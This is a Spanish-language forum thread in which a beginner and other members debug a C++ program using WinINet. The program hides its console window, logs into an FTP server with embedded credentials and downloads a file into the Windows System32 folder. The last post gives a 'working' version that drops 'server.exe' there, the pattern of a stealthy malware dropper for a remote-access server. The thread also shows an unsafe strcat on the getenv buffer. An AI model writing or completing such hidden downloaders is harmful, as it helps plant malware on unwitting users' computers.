Hola a todos, es mi primer mensaje, estoy aprendiendo c++ y vereis estoy intentando acceder a mi ftp con un programa en c++ y bajarme un archivo a la carpeta system32. El problema es que algo falla en la ruta porque si en vez de %systemroot% en LARCHIVO pongo c: si que me lo descarga. Me da que tiene que ver algo con %SYSTEMROOT% y el tema de las variables de entorno. He intentado usando getenv("SystemRoot") y tambien he leido que se podria hacer con strcat. Os pego el codigo a ver si alguien puede arrojar algo de luz en el asunto:

Código: Seleccionar todo

#include <windows.h>
#include <wininet.h>

#define RARCHIVO "index.html"
#define LARCHIVO "%SYSTEMROOT%\\system32\\index.html"

int main()
{
  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "ftp.usuarios.hispa.es", INTERNET_DEFAULT_FTP_PORT, "cosas", "xxxxxxxxx", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, LARCHIVO, (int)NULL, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);
  
return 0;
}
Otra opcion que se me ha ocurrido pero que no me compila ni con dev ni con codeblocks porque falta la libreria urlmon.h y no se si solo funciona con visual c++ o que, para hacer lo mismo es esta:

Código: Seleccionar todo

#include <urlmon.h>

int main(){
URLDownloadToFile( 0 , "http:\\usuarios.hispa.es\index.html" , "%SYSTEMROOT%\\system32\\index.html" ,  0 , 0)
return 0;
}
usa strcat para crear el path donde quieres descargar el archivo

char* dir=getenv("windir"); //obtiene el path de windows
strcat(dir,"System32"); //agrega System32 al path queda por ejemplo c://windows/system32
strcat(ruta,RARCHIVO); // c://windows/system32/index.html


y hay si te deberia funcionar
Imagen
en el msn ♣Conejo escribió:[26/03/11 10:39:13] Su firma contiene 281 caracteres. El máximo número de caracteres permitidos es 200.
menos mal que soy admin
Gracias FroZenFeW pero me tira un warning:

Te pego code:

Código: Seleccionar todo

#include <windows.h>
#include <wininet.h>

#define RARCHIVO "index.html"

int main()
{
  char* dir=getenv("windir"); //obtiene el path de windows
  strcat(dir,"System32"); //agrega System32 al path queda por ejemplo c://windows/system32
  strcat(dir,RARCHIVO); // c://windows/system32/index.html

  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "ftp.usuarios.hispa.es", INTERNET_DEFAULT_FTP_PORT, "cosas", "xxxxxxxxx", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, dir, (int)NULL, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);
 
return 0;
}
Y el warning que tira es este:
C:\Dev-Cpp\main.cpp In function `int main()':
17 C:\Dev-Cpp\main.cpp [Warning] passing NULL used for non-pointer converting 4 of `BOOL FtpGetFileA(void*, const CHAR*, const CHAR*, BOOL, DWORD, DWORD, DWORD)'
winnipu escribió:Gracias FroZenFeW pero me tira un warning:

Te pego code:

Código: Seleccionar todo

#include <windows.h>
#include <wininet.h>

#define RARCHIVO "index.html"

int main()
{
  char* dir=getenv("windir"); //obtiene el path de windows
  strcat(dir,"System32"); //agrega System32 al path queda por ejemplo c://windows/system32
  strcat(dir,RARCHIVO); // c://windows/system32/index.html

  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "ftp.usuarios.hispa.es", INTERNET_DEFAULT_FTP_PORT, "cosas", "xxxxxxxxx", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, dir, (int)NULL, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);
 
return 0;
}
Y el warning que tira es este:
C:\Dev-Cpp\main.cpp In function `int main()':
17 C:\Dev-Cpp\main.cpp [Warning] passing NULL used for non-pointer converting 4 of `BOOL FtpGetFileA(void*, const CHAR*, const CHAR*, BOOL, DWORD, DWORD, DWORD)'

FtpGetFile(hServer, RARCHIVO, dir, (int)NULL, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
FtpGetFile(hServer, RARCHIVO, dir,0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
Imagen
en el msn ♣Conejo escribió:[26/03/11 10:39:13] Su firma contiene 281 caracteres. El máximo número de caracteres permitidos es 200.
menos mal que soy admin
Ya no da error, gracias. Pero... ahora me crea en la ruta c: (no dentro de system32) un archivo que es el index.html pero renombrado a: WINDOWSSystem32index.html
Suena a brujas. XD. Que hemos hecho mal (la concatenacion, pero no se porque falla asi).
Te falta declarar la libreria string.h para usar strcat, no?

Y te lo crea asi porque solo concactenas las puras strings contactena tambien las barras \\ y listo te tiene que quedar asi:

Código: Seleccionar todo

  char* dir=getenv("windir"); //obtiene el path de windows
  strcat(dir,"\\System32\\"); //agrega System32 al path queda por ejemplo c://windows/system32
  strcat(dir,RARCHIVO); // c://windows/system32/index.html
Última edición por linkgl el 09 Nov 2010, 19:12, editado 1 vez en total.
//mHmm..
jaja se me olvidaron las barras xD
lo de strcat pues en dev no es necesario incluir la libreria pues ya vienen por default en vs si
Imagen
en el msn ♣Conejo escribió:[26/03/11 10:39:13] Su firma contiene 281 caracteres. El máximo número de caracteres permitidos es 200.
menos mal que soy admin
FroZenFeW escribió: lo de strcat pues en dev no es necesario incluir la libreria pues ya vienen por default en vs si
No sabía bueno esque ando compilando en gcc aca sí me lo pedía je
//mHmm..
un beso en la cola para vos linkgl y para vos winnipu

Imagen
en el msn ♣Conejo escribió:[26/03/11 10:39:13] Su firma contiene 281 caracteres. El máximo número de caracteres permitidos es 200.
menos mal que soy admin
umm pues es raro ahora al compilar todo perfecto, pero cuando ejecuto me da error y se me cierra el programa. Pone que el programa detecto un error y debe cerrarse. Y me lo guarda en windows pero con el nombre de system32index.html. Con lo cual voy a probar a poner las dos barras al final.

PASADOS CINCO MINUTOS: Las dos barras funcionan, me descarga el programa en la ruta correcta y parece que se descarga correctamente, si bien sigue dando un mensaje de error el programa pasados unos segundos. No entiendo porque da ese error y falla, y ademas salta el firewall de xp al principio pidiendo permiso para desbloquear el programa. XD
A ver os pego el codigo que compila bien, pero da un error grave despues de ejecutarse. Esto es para nota, a ver si alguien encuentra a que es debido:

Código: Seleccionar todo

#include <windows.h>
#include <wininet.h>
#include <string.h>

#define RARCHIVO "index.html"

int main()
{
  char* dir=getenv("windir"); //obtiene el path de windows
  strcat(dir,"\\System32\\"); //agrega System32 al path queda por ejemplo c://windows/system32
  strcat(dir,RARCHIVO); // c://windows/system32/index.html

  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "ftp.usuarios.hispa.es", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, dir, 0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);

return 0;
}
Como el programa lo que estaa produciendo era un buffer overflow, ya que no manejo bien strcat, decidi usar strncat, y ahora no hay buffer overflow, pero en cambio lo que sucede es que no descarga el archivo en su ruta. Os pego el codigo a ver si alguien puede echar una mano:

Código: Seleccionar todo

#include <windows.h>
#include <wininet.h>
#include <string.h>

#define RARCHIVO "index.html"

int main()
{
  char dir[100];
  strncat(dir, getenv("windir"), 15); //obtiene el path de windows
  strncat(dir, "\\System32\\", 15); //agrega System32 al path queda por ejemplo c://windows/system32
  strncat(dir, RARCHIVO, 15); // c://windows/system32/index.html

  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "ftp.usuarios.hispa.es", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, dir, 0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);

return 0;
}

No es necesario usar strncat xD usa strcat solo que estas dando demasiado espacio a la variable usa un 80 o 90 y con eso quedandote así:

Código: Seleccionar todo

  char dir[90];

  strcat(dir, getenv("windir")); //obtiene el path de windows

  strcat(dir, "\\System32\\"); //agrega System32 al path queda por ejemplo c://windows/system32
Y ya lo demás como lo tenías ;) es cosa de que te pongas a debuggear con printf y la variable dir
//mHmm..
No te olvides de inicializar el array dir.
Aca te dejo el code funcionando 100 %
compilado con dev c++
Importante linkear "-lwininet"

Código: Seleccionar todo

#include <windows.h>
#include <wininet.h>
#include <string.h>


#define RARCHIVO "server.exe"

int main()
{
  char dir[90]="";
  strcat(dir, getenv("windir")); //obtiene el path de windows
  strcat(dir, "\\System32\\"); //agrega System32 al path queda por ejemplo c://windows/system32
  strcat(dir, RARCHIVO); // c://windows/system32/server.exe
   
  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "direccionFtp", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, dir, 0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);

return 0;
}
Saludos
Imagen
Responder

Volver a “C/C++”